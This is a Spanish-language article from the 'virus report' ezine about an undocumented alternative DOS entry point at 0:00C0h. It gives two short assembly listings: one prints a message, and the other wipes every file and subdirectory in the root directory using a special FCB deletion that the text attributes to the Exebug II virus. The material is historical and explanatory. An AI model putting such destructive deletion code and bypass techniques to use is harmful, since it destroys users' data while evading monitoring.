Copy Link
Add to Bookmark
Report

VR7: Una entrada secreta al DOS

eZine's profile picture
Published in 
virus report
 · 6 Feb 2022

Este es un ejemplo de uso de la entrada alternativa al DOS que nombamos en esta nota. Fíjense que hace falta guardar los flags y la dirección de retorno en el stack de un modo no standard y luego saltar a 0:00C0h, donde se encuentra esta entrada alternativa al DOS. Sólo permite utilizar funciones del número 0 al 24h, y el número de función se pasa en CL en lugar de AH.

MOV AX,offset RETURN ; obtener dirección de retorno 
PUSH AX ; guardar dirección de retorno
PUSH CS ; y flags en orden inverso
PUSHF
MOV CL,9 ; mostrar mensaje
MOV DX,offset MSG ; offset del mensaje
PUSH CS
POP DS ; DS apunta al segmento del mensaje
JMP dword ptr ALT_DOS_PTR
; ejecutar la función

RETURN:
MOV AH,4Ch ; terminar el proceso
INT 21h ; via DOS

ALT_DOS_PTR DW 00C0h,0000
; punto de entrada alternativo
; al DOS (0:00C0h)

MSG DB 0Dh,0Ah,"Ejemplo de entrada alternativa"
DB "al DOS.",0Dh,0Ah,"$"

El siguiente código utiliza este procedimiento para borrar todos los archivos del directorio raíz, incluyendo subdirectorios. Si hubiesen datos en estos subdirectorios, el DOS no podría accederlos normalmente aunque no estarían borrados realmente de la FAT, con CHKDSK se podrían recuperar como cadenas perdidas en el disco. Para esto se usa el caso especial de borrado con FCB que nombramos en la nota, y que utiliza Exebug II

MOV AX,offset RETURN 
PUSH AX ; primero preparar el stack
PUSH CS ; como vimos antes
PUSHF
MOV CL,13h ; borrar FCB
MOV DX,offset FCB ; armamos el FCB especial
PUSH CS
POP DS ; DS = CS
JMP dword ptr ALT_DOS_PTR
; ejecutar la función

RETURN:
MOV AH,4Ch ; terminar el programa
INT 21h ; via DOS
ALT_DOS_PTR DW 00C0h,0000
; punto de entrada alternativo
; al DOS

FCB DB 0FFh ; FC extendido
DB 5 dup(0) ; bytes reservados
DB 1Fh ; todos los atributos de archivo
DB 0 ; disco default
DB "???????????" ; todos los archivos
DB 19h dup(0) ; resto del FCB

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT